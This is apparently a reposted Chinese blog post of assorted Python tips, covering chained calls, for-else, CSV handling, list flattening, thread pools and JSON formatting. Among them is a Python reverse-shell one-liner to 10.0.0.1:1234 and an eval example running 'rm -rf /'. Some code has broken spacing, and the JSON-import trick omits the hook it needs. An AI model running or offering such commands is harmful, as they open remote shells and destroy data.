Python技巧续
函数连续调用
def add(x):
classAddNum(int):
def __call__(self, x):
returnAddNum(self.numerator + x)
returnAddNum(x)
>>> add(2)(3)(5)
10
>>> add(2)(3)(4)(5)(6)(7)
27
#js
var add =function(x){
var addNum =function(x){
return add(addNum + x);
};
addNum.toString =function(){
return x;
}
return addNum;
}
add(2)(3)(5)//10add(2)(3)(4)(5)(6)(7)
//27
获取公网IP
python-c "import socket; sock=socket.create_connection(('ns1.dnspod.net',6666)); print sock.recv(16); sock.close()"
反弹 shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
默认值陷阱
>>> def evil(v=[]):
... v.append(1)
... print v
...
>>> evil()
[1]
>>> evil()
[1,1]
import 导入一个 json
$cat tester.json
{
"hello":"world",
"this":{
"can":{
"be":"nested"
}
}
}
>>>import tester
>>> tester
<module 'tester' from 'tester.json'>
>>> tester.hello
u'world'
>>> tester.this.can.be
u'nested'
for else
for i in range(10):
if i ==10:
break
print(i)
else:
print('10不在里面!')
flag =False
for i in range(10):
if i ==10:
flag =True
break
print(i)
if not flag:
print('10不在里面!')
读写csv文件
#从csv中读取文件,基本和传统文件读取类似
import csv
with open('data.csv','rb') as f:
reader = csv.reader(f)
for row in reader:
print row
#向csv文件写入
import csv
with open('data.csv','wb') as f:
writer = csv.writer(f)
writer.writerow(['name','address','age']) #单行写入
data =[
('xiaoming ','china','10'),
('Lily','USA','12')]
writer.writerows(data) #多行写入
多个 list 合并为一个 list
>>> l=[[1,2,3],[4,5,6],[7,8,9]]
>>>[j for i in l for j in i]
[1,2,3,4,5,6,7,8,9]
>>> sum(l,[])
[1,2,3,4,5,6,7,8,9]
>>> a =[1,3,5,7,9]
>>> b =[2,3,4,5,6]
>>> c =[5,6,7,8,9]
>>> list(set().union(a, b, c))
[1,2,3,4,5,6,7,8,9]
一行代码实现多线程/多进程
import urllib2
#多进程的话只需把 from multiprocessing.dummy 改成 from multiprocessing
from multiprocessing.dummy importPool as ThreadPool
urls =[ 'http://www.python.org', 'http://www.python.org/about/', 'http://www.onlamp.com/pub/a/python/2003 ]
pool =ThreadPool(4)
results = pool.map(urllib2.urlopen, urls)
pool.close()
pool.join()
json 格式化
echo '{"k": "v"}'| python -m json.tool
curl -L http://restapi/json_response -o json-response | python -m json.tool
import antigravity
# https://hg.python.org/cpython/file/1823cf6e1084/Lib/antigravity.py
#pydoc –p 8080
#python3 -m http.server 8080
#FTP服务器
python -m pyftpdlib
[I 2017-09-0123:18:27]>>> starting FTP server on 0.0.0.0:2121, pid=16840<<<
[I 2017-09-0123:18:27] concurrency model: async
[I 2017-09-0123:18:27] masquerade (NAT) address:None
[I 2017-09-0123:18:27] passive ports:None
eval
>>>eval("__import__('os').system('rm -rf /')",{})
斐波那契数列
>>import itertools
>>> def fib():
... a, b =0,1
... while1:
... yield b
... a, b = b, a + b
...
>>>
>>> print list(itertools.islice(fib(),10))
[1,1,2,3,5,8,13,21,34,55]
宇宙终极答案
>>> ord('*')
42
参考链接
http://dongweiming.github.io/Expert-Python/#3
http://www.codeceo.com/article/17-python-tips.html
https://www.zhihu.com/question/27376156
本文分享自微信公众号 - 苏生不惑(susheng_buhuo)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
以上是 Python技巧续 的全部内容, 来源链接: utcz.com/z/508887.html